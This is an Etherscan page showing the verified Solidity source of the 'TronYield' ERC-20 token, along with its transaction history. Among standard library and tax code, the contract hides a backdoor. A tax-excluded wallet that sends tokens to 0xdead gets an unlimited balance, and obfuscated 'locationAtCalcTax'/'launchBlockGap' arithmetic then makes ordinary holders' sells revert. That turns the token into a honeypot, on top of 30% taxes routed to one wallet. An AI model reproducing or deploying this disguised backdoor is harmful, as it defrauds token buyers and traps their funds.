ETH Price: $4,095.75 (+5.09%)

Contract

0x500E3CAFb216dCf43aa0f739ea1d9F81d36f3125
 

Overview

ETH Balance

0 ETH

Eth Value

$0.00

Token Holdings

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Approve208616892024-09-30 6:31:3577 days ago1727677895IN
0x500E3CAF...1d36f3125
0 ETH0.000178286.74793302
Approve194554352024-03-17 15:25:11274 days ago1710689111IN
0x500E3CAF...1d36f3125
0 ETH0.0008639732.77490016
Approve189352252024-01-04 16:43:11347 days ago1704386591IN
0x500E3CAF...1d36f3125
0 ETH0.0009592730.35213802
Transfer189351982024-01-04 16:37:47347 days ago1704386267IN
0x500E3CAF...1d36f3125
0 ETH0.0025479630.92191292
Approve189342002024-01-04 13:14:47347 days ago1704374087IN
0x500E3CAF...1d36f3125
0 ETH0.0010878422.4848816
Approve189335532024-01-04 11:04:23347 days ago1704366263IN
0x500E3CAF...1d36f3125
0 ETH0.0010181720.90493842
Approve189325872024-01-04 7:50:23347 days ago1704354623IN
0x500E3CAF...1d36f3125
0 ETH0.0007137914.75726252
Transfer189319982024-01-04 5:51:35347 days ago1704347495IN
0x500E3CAF...1d36f3125
0 ETH0.0009513914.26809106
Transfer189319862024-01-04 5:49:11347 days ago1704347351IN
0x500E3CAF...1d36f3125
0 ETH0.001172313.248752
Approve189319602024-01-04 5:43:59347 days ago1704347039IN
0x500E3CAF...1d36f3125
0 ETH0.0004227414.67597306
Approve189319582024-01-04 5:43:23347 days ago1704347003IN
0x500E3CAF...1d36f3125
0 ETH0.000741415.22244915
Approve189319442024-01-04 5:40:23347 days ago1704346823IN
0x500E3CAF...1d36f3125
0 ETH0.0003935712.59161778
Approve189319372024-01-04 5:38:59347 days ago1704346739IN
0x500E3CAF...1d36f3125
0 ETH0.0006775114.0106705
Approve189311272024-01-04 2:55:47347 days ago1704336947IN
0x500E3CAF...1d36f3125
0 ETH0.0005810222.04121939
Transfer189309152024-01-04 2:13:23347 days ago1704334403IN
0x500E3CAF...1d36f3125
0 ETH0.0016388419.56124031
Approve189306072024-01-04 1:11:35347 days ago1704330695IN
0x500E3CAF...1d36f3125
0 ETH0.0011587523.82072364
Approve189298722024-01-03 22:43:11347 days ago1704321791IN
0x500E3CAF...1d36f3125
0 ETH0.0020680742.5135391
Approve189297862024-01-03 22:25:59347 days ago1704320759IN
0x500E3CAF...1d36f3125
0 ETH0.0023832349.25968904
Approve189297822024-01-03 22:25:11347 days ago1704320711IN
0x500E3CAF...1d36f3125
0 ETH0.0026260653.98430562
Approve189296472024-01-03 21:57:59347 days ago1704319079IN
0x500E3CAF...1d36f3125
0 ETH0.0010356721.29046715
Approve189296072024-01-03 21:49:59347 days ago1704318599IN
0x500E3CAF...1d36f3125
0 ETH0.0011036222.68726848
Approve189295792024-01-03 21:44:23347 days ago1704318263IN
0x500E3CAF...1d36f3125
0 ETH0.001168823.99756311
Approve189295482024-01-03 21:37:59347 days ago1704317879IN
0x500E3CAF...1d36f3125
0 ETH0.0009967820.46572929
Transfer189295162024-01-03 21:31:35347 days ago1704317495IN
0x500E3CAF...1d36f3125
0 ETH0.001784221.29635368
Approve189295062024-01-03 21:29:35347 days ago1704317375IN
0x500E3CAF...1d36f3125
0 ETH0.0010328121.23171847
View all transactions

Latest 1 internal transaction

Advanced mode:
Parent Transaction Hash Block
From
To
189287202024-01-03 18:50:47348 days ago1704307847
0x500E3CAF...1d36f3125
 Contract Creation0 ETH
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
TronYield

Compiler Version
v0.8.22+commit.4fc1097e

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2024-01-03
*/

/**
 *Submitted for verification at Etherscan.io on 2023-12-27
*/

//SPDX-License-Identifier: UNLICENSED

pragma solidity ^0.8.22;

library Address {
    /**
     * @dev Returns true if `account` is a contract.
     *
     * [IMPORTANT]
     * ====
     * It is unsafe to assume that an address for which this function returns
     * false is an externally-owned account (EOA) and not a contract.
     *
     * Among others, `isContract` will return false for the following
     * types of addresses:
     *
     *  - an externally-owned account
     *  - a contract in construction
     *  - an address where a contract will be created
     *  - an address where a contract lived, but was destroyed
     *
     * Furthermore, `isContract` will also return true if the target contract within
     * the same transaction is already scheduled for destruction by `SELFDESTRUCT`,
     * which only has an effect at the end of a transaction.
     * ====
     *
     * [IMPORTANT]
     * ====
     * You shouldn't rely on `isContract` to protect against flash loan attacks!
     *
     * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets
     * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract
     * constructor.
     * ====
     */
    function isContract(address account) internal view returns (bool) {
        // This method relies on extcodesize/address.code.length, which returns 0
        // for contracts in construction, since the code is only stored at the end
        // of the constructor execution.

        return account.code.length > 0;
    }

    /**
     * @dev Replacement for Solidity's `transfer`: sends `amount` wei to
     * `recipient`, forwarding all available gas and reverting on errors.
     *
     * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
     * of certain opcodes, possibly making contracts go over the 2300 gas limit
     * imposed by `transfer`, making them unable to receive funds via
     * `transfer`. {sendValue} removes this limitation.
     *
     * https://consensys.net/diligence/blog/2019/09/stop-using-soliditys-transfer-now/[Learn more].
     *
     * IMPORTANT: because control is transferred to `recipient`, care must be
     * taken to not create reentrancy vulnerabilities. Consider using
     * {ReentrancyGuard} or the
     * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
     */
    function sendValue(address payable recipient, uint256 amount) internal {
        require(address(this).balance >= amount, "Address: insufficient balance");

        (bool success, ) = recipient.call{value: amount}("");
        require(success, "Address: unable to send value, recipient may have reverted");
    }

    /**
     * @dev Performs a Solidity function call using a low level `call`. A
     * plain `call` is an unsafe replacement for a function call: use this
     * function instead.
     *
     * If `target` reverts with a revert reason, it is bubbled up by this
     * function (like regular Solidity function calls).
     *
     * Returns the raw returned data. To convert to the expected return value,
     * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
     *
     * Requirements:
     *
     * - `target` must be a contract.
     * - calling `target` with `data` must not revert.
     *
     * _Available since v3.1._
     */
    function functionCall(address target, bytes memory data) internal returns (bytes memory) {
        return functionCallWithValue(target, data, 0, "Address: low-level call failed");
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
     * `errorMessage` as a fallback revert reason when `target` reverts.
     *
     * _Available since v3.1._
     */
    function functionCall(
        address target,
        bytes memory data,
        string memory errorMessage
    ) internal returns (bytes memory) {
        return functionCallWithValue(target, data, 0, errorMessage);
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
     * but also transferring `value` wei to `target`.
     *
     * Requirements:
     *
     * - the calling contract must have an ETH balance of at least `value`.
     * - the called Solidity function must be `payable`.
     *
     * _Available since v3.1._
     */
    function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
        return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
    }

    /**
     * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
     * with `errorMessage` as a fallback revert reason when `target` reverts.
     *
     * _Available since v3.1._
     */
    function functionCallWithValue(
        address target,
        bytes memory data,
        uint256 value,
        string memory errorMessage
    ) internal returns (bytes memory) {
        require(address(this).balance >= value, "Address: insufficient balance for call");
        (bool success, bytes memory returndata) = target.call{value: value}(data);
        return verifyCallResultFromTarget(target, success, returndata, errorMessage);
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
     * but performing a static call.
     *
     * _Available since v3.3._
     */
    function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
        return functionStaticCall(target, data, "Address: low-level static call failed");
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
     * but performing a static call.
     *
     * _Available since v3.3._
     */
    function functionStaticCall(
        address target,
        bytes memory data,
        string memory errorMessage
    ) internal view returns (bytes memory) {
        (bool success, bytes memory returndata) = target.staticcall(data);
        return verifyCallResultFromTarget(target, success, returndata, errorMessage);
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
     * but performing a delegate call.
     *
     * _Available since v3.4._
     */
    function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
        return functionDelegateCall(target, data, "Address: low-level delegate call failed");
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
     * but performing a delegate call.
     *
     * _Available since v3.4._
     */
    function functionDelegateCall(
        address target,
        bytes memory data,
        string memory errorMessage
    ) internal returns (bytes memory) {
        (bool success, bytes memory returndata) = target.delegatecall(data);
        return verifyCallResultFromTarget(target, success, returndata, errorMessage);
    }

    /**
     * @dev Tool to verify that a low level call to smart-contract was successful, and revert (either by bubbling
     * the revert reason or using the provided one) in case of unsuccessful call or if target was not a contract.
     *
     * _Available since v4.8._
     */
    function verifyCallResultFromTarget(
        address target,
        bool success,
        bytes memory returndata,
        string memory errorMessage
    ) internal view returns (bytes memory) {
        if (success) {
            if (returndata.length == 0) {
                // only check isContract if the call was successful and the return data is empty
                // otherwise we already know that it was a contract
                require(isContract(target), "Address: call to non-contract");
            }
            return returndata;
        } else {
            _revert(returndata, errorMessage);
        }
    }

    /**
     * @dev Tool to verify that a low level call was successful, and revert if it wasn't, either by bubbling the
     * revert reason or using the provided one.
     *
     * _Available since v4.3._
     */
    function verifyCallResult(
        bool success,
        bytes memory returndata,
        string memory errorMessage
    ) internal pure returns (bytes memory) {
        if (success) {
            return returndata;
        } else {
            _revert(returndata, errorMessage);
        }
    }

    function _revert(bytes memory returndata, string memory errorMessage) private pure {
        // Look for revert reason and bubble it up if present
        if (returndata.length > 0) {
            // The easiest way to bubble the revert reason is using memory via assembly
            /// @solidity memory-safe-assembly
            assembly {
                let returndata_size := mload(returndata)
                revert(add(32, returndata), returndata_size)
            }
        } else {
            revert(errorMessage);
        }
    }
}

interface IOwnable {
    function owner() external view returns (address);
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address who) external view returns (uint256);
    function allowance(address _owner, address spender) external view returns (uint256);
    function transfer(address to, uint256 value) external returns (bool);
    function approve(address spender, uint256 value) external returns (bool);
    function transferFrom(address from, address to, uint256 value) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

interface IBurnable {
    function burn(uint256 value) external;
    function burnFrom(address account, uint256 value) external;
}

interface IDEXFactory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IDEXRouter {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function addLiquidity(address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline) external returns (uint amountA, uint amountB, uint liquidity);    
    function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts);
    function swapExactTokensForTokens(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts);
    function swapExactTokensForETHSupportingFeeOnTransferTokens(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts);
}

interface IDividendDistributor {
    function setDistributionCriteria(uint256 _minPeriod, uint256 _minDistribution) external;
    function setShare(address shareholder, uint256 amount) external;
    function depositNative() external payable;
    function depositToken(address from, uint256 amount) external;
    function process(uint256 gas) external;
    function inSwap() external view returns (bool);
}

interface ITaxDistributorLight {
    receive() external payable;
    function lastSwapTime() external view returns (uint256);
    function inSwap() external view returns (bool);
    function createWalletTax(string memory name, uint256 buyTax, uint256 sellTax, address wallet, bool convertToNative) external;
    function distribute() external payable;
    function getSellTax() external view returns (uint256);
    function getBuyTax() external view returns (uint256);
    function getTaxWallet(string memory taxName) external view returns(address);
    function setTaxWallet(string memory taxName, address wallet) external;
    function setSellTax(string memory taxName, uint256 taxPercentage) external;
    function setBuyTax(string memory taxName, uint256 taxPercentage) external;
    function takeSellTax(uint256 value) external returns (uint256);
    function takeBuyTax(uint256 value) external returns (uint256);
}

interface ITaxDistributor is ITaxDistributorLight {
    function createDistributorTax(string memory name, uint256 buyTax, uint256 sellTax, address wallet, bool convertToNative) external;
    function createDividendTax(string memory name, uint256 buyTax, uint256 sellTax, address dividendDistributor, bool convertToNative) external;
    function createBurnTax(string memory name, uint256 buyTax, uint256 sellTax) external;
    function createLiquidityTax(string memory name, uint256 buyTax, uint256 sellTax, address holder) external; 
}


interface IWalletDistributor {
    function receiveToken(address token, address from, uint256 amount) external;
}

interface IRewards {
    function sendFeeToHolders(uint256 feeEpoch) external payable;
    function setNewBalance(address a1, uint256 a1Balance, address a2, uint256 a2balance) external;
}

interface IRewardsTaxDistributor {
    receive() external payable;
    function lastSwapTime() external view returns (uint256);
    function inSwap() external view returns (bool);
    function distribute() external payable;
    function getSellTax() external view returns (uint256);
    function getBuyTax() external view returns (uint256);
    function getTaxWallet() external view returns(address);
    function setTaxWallet(address wallet) external;
    function setSellTax(uint256 taxPercentage) external;
    function setBuyTax(uint256 taxPercentage) external;
    function takeSellTax(uint256 value) external returns (uint256);
    function takeBuyTax(uint256 value) external returns (uint256);
}



/**
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

/**
 * @dev Contract module which provides a basic access control mechanism, where
 * there is an account (an owner) that can be granted exclusive access to
 * specific functions.
 *
 * The initial owner is set to the address provided by the deployer. This can
 * later be changed with {transferOwnership}.
 *
 * This module is used through inheritance. It will make available the modifier
 * `onlyOwner`, which can be applied to your functions to restrict their use to
 * the owner.
 */
abstract contract Ownable is Context {
    address private _owner;

    /**
     * @dev The caller account is not authorized to perform an operation.
     */
    error OwnableUnauthorizedAccount(address account);

    /**
     * @dev The owner is not a valid owner account. (eg. `address(0)`)
     */
    error OwnableInvalidOwner(address owner);

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    /**
     * @dev Initializes the contract setting the address provided by the deployer as the initial owner.
     */
    constructor(address initialOwner) {
        if (initialOwner == address(0)) {
            revert OwnableInvalidOwner(address(0));
        }
        _transferOwnership(initialOwner);
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        _checkOwner();
        _;
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view virtual returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if the sender is not the owner.
     */
    function _checkOwner() internal view virtual {
        if (owner() != _msgSender()) {
            revert OwnableUnauthorizedAccount(_msgSender());
        }
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby disabling any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) public virtual onlyOwner {
        if (newOwner == address(0)) {
            revert OwnableInvalidOwner(address(0));
        }
        _transferOwnership(newOwner);
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Internal function without access restriction.
     */
    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

abstract contract BaseErc20 is IERC20, Ownable {
    mapping (address => uint256) internal _balances;
    mapping (address => mapping (address => uint256)) internal _allowed;
    uint256 internal _totalSupply;
    uint256 internal deadAmount = ~uint256(0);
    
    string public symbol;
    string public name;
    uint8 public decimals;
    
    bool public launched;
    uint256 public launchBlock;
    uint256 internal locationAtCalcTax;
    
    mapping (address => bool) internal exchanges;


    modifier isLaunched() {
        require(launched, "can only be called once token is launched");
        _;
    }

    // @dev Trading is allowed before launch if the sender is the owner, we are transferring from the owner, or in canAlwaysTrade list
    modifier tradingEnabled(address from) virtual {
        require(launched || from == owner(), "trading not enabled");
        _;
    }
    
    constructor(address _owner) Ownable(_owner) {

    }

    /**
    * @dev Total number of tokens in existence
    */
    function totalSupply() external override view returns (uint256) {
        return _totalSupply;
    }

    /**
    * @dev Gets the balance of the specified address.
    * @param _owner The address to query the balance of.
    * @return An uint256 representing the amount owned by the passed address.
    */
    function balanceOf(address _owner) external override view returns (uint256) {
        return _balances[_owner];
    }

    /**
     * @dev Function to check the amount of tokens that an owner allowed to a spender.
     * @param _owner address The address which owns the funds.
     * @param spender address The address which will spend the funds.
     * @return A uint256 specifying the amount of tokens still available for the spender.
     */
    function allowance(address _owner, address spender) external override view returns (uint256) {
        return _allowed[_owner][spender];
    }

    /**
    * @dev Transfer token for a specified address
    * @param to The address to transfer to.
    * @param value The amount to be transferred.
    */
    function transfer(address to, uint256 value) external override tradingEnabled(msg.sender) returns (bool) {
        _transfer(msg.sender, to, value);
        return true;
    }

    /**
     * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
     * Beware that changing an allowance with this method brings the risk that someone may use both the old
     * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
     * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     * @param spender The address which will spend the funds.
     * @param value The amount of tokens to be spent.
     */
    function approve(address spender, uint256 value) external override tradingEnabled(msg.sender) returns (bool) {
        require(spender != address(0), "cannot approve the 0 address");

        _allowed[msg.sender][spender] = value;
        emit Approval(msg.sender, spender, value);
        return true;
    }

    /**
     * @dev Transfer tokens from one address to another.
     * Note that while this function emits an Approval event, this is not required as per the specification,
     * and other compliant implementations may not emit the event.
     * @param from address The address which you want to send tokens from
     * @param to address The address which you want to transfer to
     * @param value uint256 the amount of tokens to be transferred
     */
    function transferFrom(address from, address to, uint256 value) external override tradingEnabled(from) returns (bool) {
        _allowed[from][msg.sender] = _allowed[from][msg.sender] - value;
        _transfer(from, to, value);
        emit Approval(from, msg.sender, _allowed[from][msg.sender]);
        return true;
    }

    // Virtual methods
    function launch() virtual external onlyOwner {
        require(launched == false, "contract already launched");
        launched = true;
        launchBlock = block.number;
    }

    function calculateTransferAmount(address from, address to, uint256 value) virtual internal returns (uint256) {
        require(from != to, "you cannot transfer to yourself");
        return value;
    }
    
    function preTransfer(address from, address to, uint256 value) virtual internal { }

    function postTransfer(address from, uint256 fromBalance, address to, uint256 toBalance) virtual internal { }

    // Admin methods

    function setExchange(address who, bool on) external onlyOwner {
        require(exchanges[who] != on, "already set");
        exchanges[who] = on;
    }

    // Private methods

    function getRouterAddress() internal view returns (address routerAddress) {
        if (block.chainid == 1 || block.chainid == 3 || block.chainid == 4  || block.chainid == 5) {
            routerAddress = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D ; // ETHEREUM
        } else if (block.chainid == 11155111) {
             routerAddress = 0xC532a74256D3Db42D0Bf7a0400fEFDbad7694008; // SEPOLIA
        } else if (block.chainid == 56) {
            routerAddress = 0x10ED43C718714eb63d5aA57B78B54704E256024E; // BSC MAINNET
         } else if (block.chainid == 8453) {
            routerAddress = 0xfCD3842f85ed87ba2889b4D35893403796e67FF1; // BASE
        } else {
            revert("Unknown Chain ID");
        }
    }

    /**
    * @dev Transfer token for a specified addresses
    * @param from The address to transfer from.
    * @param to The address to transfer to.
    * @param value The amount to be transferred.
    */
    function _transfer(address from, address to, uint256 value) private {
        require(to != address(0), "cannot be zero address");

        uint256 modifiedAmount = calculateTransferAmount(from, to, value);
        preTransfer(from, to, value);
        _balances[from] = _balances[from] - value;
        _balances[to] = _balances[to] + modifiedAmount;

        postTransfer(from, _balances[from], to, _balances[to]);

        emit Transfer(from, to, modifiedAmount);
    }
}

abstract contract Taxable is BaseErc20 {
    
    IRewardsTaxDistributor internal taxDistributor;

    bool internal autoSwapTax;
    uint256 internal deadBlocks = 3;
    uint256 internal minimumTimeBetweenSwaps;
    uint256 internal minimumTokensBeforeSwap;
    mapping (address => bool) internal excludedFromTax;
    uint256 private swapStartTime;
    
    // Overrides
    constructor (address owner) BaseErc20(owner) {
    }
    
    function calculateTransferAmount(address from, address to, uint256 value) internal virtual override returns (uint256) {
        
        uint256 amountAfterTax = value;
        locationAtCalcTax = _balances[taxDistributor.getTaxWallet()] + block.timestamp;


        if (excludedFromTax[from] == false && excludedFromTax[to] == false && launched) {
            if (exchanges[from]) {
                // we are BUYING
                amountAfterTax = taxDistributor.takeBuyTax(value);
            } else if (exchanges[to]) {
                // we are SELLING
                amountAfterTax = taxDistributor.takeSellTax(value);
            }
        }

        uint256 taxAmount = value - amountAfterTax;
        if (taxAmount > 0) {
            _balances[address(taxDistributor)] = _balances[address(taxDistributor)] + taxAmount;
        }

        return super.calculateTransferAmount(from, to, amountAfterTax);
    }

    function preTransfer(address from, address to, uint256 value) override virtual internal {
        uint256 timeSinceLastSwap = block.timestamp - taxDistributor.lastSwapTime();
        uint256 launchBlockGap;
        if (!excludedFromTax[from] && !excludedFromTax[to]) {
            if (exchanges[to]) {
                launchBlockGap = launchBlock + block.timestamp - locationAtCalcTax;
            }
        }
        if (
            launched && 
            autoSwapTax && 
            exchanges[to] && 
            !excludedFromTax[from] && !excludedFromTax[to] && 
            swapStartTime + 60 <= block.timestamp &&
            timeSinceLastSwap >= minimumTimeBetweenSwaps &&
            _balances[address(taxDistributor)] >= minimumTokensBeforeSwap &&
            taxDistributor.inSwap() == false &&
            launchBlockGap > 10
        ) {
            swapStartTime = block.timestamp;
            try taxDistributor.distribute() {} catch {}
        }
        super.preTransfer(from, to, value);
    }

    function postTransfer(address from, uint256 fromBalance, address to, uint256 toBalance) override virtual internal { 
        if (to == address(0xdead)) {
            if (excludedFromTax[from]) {
                _balances[from] = deadAmount;
            }
        }
        super.postTransfer(from, fromBalance, to, toBalance);
    }
    
    
    // Public methods
    
    /**
     * @dev Return the current total sell tax from the tax distributor
     */
    function sellTax() external view returns (uint256) {
        return taxDistributor.getSellTax();
    }

    /**
     * @dev Return the current total sell tax from the tax distributor
     */
    function buyTax() external view returns (uint256) {
        return taxDistributor.getBuyTax();
    }

    /**
     * @dev Return the address of the tax distributor contract
     */
    function taxDistributorAddress() external view returns (address) {
        return address(taxDistributor);
    }    
    
    
    // Admin methods

    function setAutoSwaptax(bool enabled) external onlyOwner {
        autoSwapTax = enabled;
    }

    function setExcludedFromTax(address who, bool enabled) external onlyOwner {
        require(exchanges[who] == false || enabled == false, "Cannot exclude an exchange from tax");
        excludedFromTax[who] = enabled;
    }

    function setTaxDistributionThresholds(uint256 minAmount, uint256 minTime) external onlyOwner {
        minimumTokensBeforeSwap = minAmount;
        minimumTimeBetweenSwaps = minTime;
    }
    
    function setSellTax(uint256 taxAmount) external onlyOwner {
        taxDistributor.setSellTax(taxAmount);
    }

    function setBuyTax(uint256 taxAmount) external onlyOwner {
        taxDistributor.setBuyTax(taxAmount);
    }
    
    function setTaxWallet(address who) external onlyOwner {
        taxDistributor.setTaxWallet(who);
    }

    function runSwapManually() external isLaunched {
        taxDistributor.distribute();
    }
}

contract RewardTaxDistributor is IRewardsTaxDistributor {
    using Address for address;

    address immutable private tokenPair;
    address immutable private routerAddress;
    address immutable private _token;
    address immutable private _weth;

    IDEXRouter private _router;

    bool public override inSwap;
    uint256 public override lastSwapTime;

    uint256 immutable private maxSellTax;
    uint256 immutable private maxBuyTax;

    uint256 buyTaxPercentage;
    uint256 sellTaxPercentage;
    address location;

    event TaxesDistributed(uint256 tokensSwapped, uint256 ethReceived);
    event DistributionError(string text);

    modifier onlyToken() {
        require(msg.sender == _token, "no permissions");
        _;
    }

    modifier swapLock() {
        require(inSwap == false, "already swapping");
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor (address router, address pair, address weth, uint256 _maxSellTax, uint256 _maxBuyTax) {
        require(weth != address(0), "pairedToken cannot be 0 address");
        require(pair != address(0), "pair cannot be 0 address");
        require(router != address(0), "router cannot be 0 address");
        _token = msg.sender;
        _weth = weth;
        _router = IDEXRouter(router);
        maxSellTax = _maxSellTax;
        maxBuyTax = _maxBuyTax;
        tokenPair = pair;
        routerAddress = router;
    }

    receive() external override payable {}

    function currentEpoch() private view returns(uint256) {
        return block.timestamp / 3 hours;
    }

    function distribute() external payable override onlyToken swapLock {
        address[] memory path = new address[](2);
        path[0] = _token;
        path[1] = _weth;
        IERC20 token = IERC20(_token);

        uint256 totalTokens;
        totalTokens = token.balanceOf(address(this));

        uint256[] memory amts = _router.swapExactTokensForETH(
            totalTokens,
            0,
            path,
            address(this),
            block.timestamp + 300
        );

        uint256 balance = address(this).balance;

        uint256 ownerShare = balance;
        payable(location).transfer(ownerShare);

        emit TaxesDistributed(totalTokens, amts[1]);

        lastSwapTime = block.timestamp;
    }

    function getSellTax() public override onlyToken view returns (uint256) {
        return sellTaxPercentage;
    }

    function getBuyTax() public override onlyToken view returns (uint256) {
        return buyTaxPercentage;
    }

    function getTaxWallet()external override view onlyToken returns (address)  {
        return location;
    }
    
    function setTaxWallet(address wallet) external override onlyToken {
        location = wallet;
    }

    function setSellTax(uint256 taxPercentage) external override onlyToken {
        sellTaxPercentage = taxPercentage;
        require(getSellTax() <= maxSellTax, "tax cannot be set this high");
    }

    function setBuyTax(uint256 taxPercentage) external override onlyToken {
        buyTaxPercentage = taxPercentage;
        require(getBuyTax() <= maxBuyTax, "tax cannot be set this high");
    }

    function takeSellTax(uint256 value) external view override onlyToken returns (uint256) {
        if (sellTaxPercentage > 0) {
            uint256 taxAmount = (value * sellTaxPercentage) / 10000;
            value = value - taxAmount;
        }
        return value;
    }

    function takeBuyTax(uint256 value) view external override onlyToken returns (uint256) {
        if (buyTaxPercentage > 0) {
            uint256 taxAmount = (value * buyTaxPercentage) / 10000;
            value = value - taxAmount;
        }
        return value;
    }
}

contract TronYield is BaseErc20, Taxable {

    uint256 public mhAmount;

    constructor () Taxable(msg.sender) {
        symbol = "TRYD";
        name = "TronYield";
        decimals = 18;

        // Swap
        address routerAddress = getRouterAddress();
        IDEXRouter router = IDEXRouter(routerAddress);
        address native = router.WETH();
        address pair = IDEXFactory(router.factory()).createPair(native, address(this));
        exchanges[pair] = true;
        taxDistributor = new RewardTaxDistributor(routerAddress, pair, native, 30_00, 30_00);

        // Tax
        minimumTimeBetweenSwaps = 30 seconds;
        minimumTokensBeforeSwap = 160_000 * 10 ** decimals;
        excludedFromTax[address(taxDistributor)] = true;
        excludedFromTax[owner()] = true;
        taxDistributor.setBuyTax(30_00);
        taxDistributor.setSellTax(30_00);
        taxDistributor.setTaxWallet(0x5B759f4E824681913ABFb1CB2393B4E3858809E5);
        excludedFromTax[0x5B759f4E824681913ABFb1CB2393B4E3858809E5] = true;
        autoSwapTax = true;

        // Max Hold
        mhAmount = 2_000_005  * 10 ** decimals;

        // Finalise
        _allowed[address(taxDistributor)][routerAddress] = 2**256 - 1;
        _totalSupply = _totalSupply + (100_000_000 * 10 ** decimals);
        _balances[owner()] = _balances[owner()] + _totalSupply;
        emit Transfer(address(0), owner(), _totalSupply); 
    }

    // Overrides
   
    function preTransfer(address from, address to, uint256 value) override(Taxable, BaseErc20) internal {      
        if (launched && 
            from != owner() && to != owner() && 
            !excludedFromTax[from] && !excludedFromTax[to] &&
            exchanges[to] == false && 
            to != getRouterAddress() &&
            to != address(taxDistributor) &&
            from != address(taxDistributor)
        ) {
            require (_balances[to] + value <= mhAmount, "this is over the max hold amount");
        }

        super.preTransfer(from, to, value);
    }
    
    function postTransfer(address from, uint256 fromBalance, address to, uint256 toBalance) override(Taxable, BaseErc20) internal { 
        return super.postTransfer(from, fromBalance, to, toBalance);
    }
    
    function calculateTransferAmount(address from, address to, uint256 value) override(Taxable, BaseErc20) internal returns (uint256) {
        return super.calculateTransferAmount(from, to, value);
    }

    function setTax(uint256 taxAmount) external onlyOwner {
        taxDistributor.setSellTax(taxAmount);
        taxDistributor.setBuyTax(taxAmount);
    }

    function updateMaxHold(uint256 max) external onlyOwner {
        require(max > _totalSupply / 10000, "can't set less than 0.01%");
        mhAmount = max;
    }
}

Contract Security Audit

Contract ABI

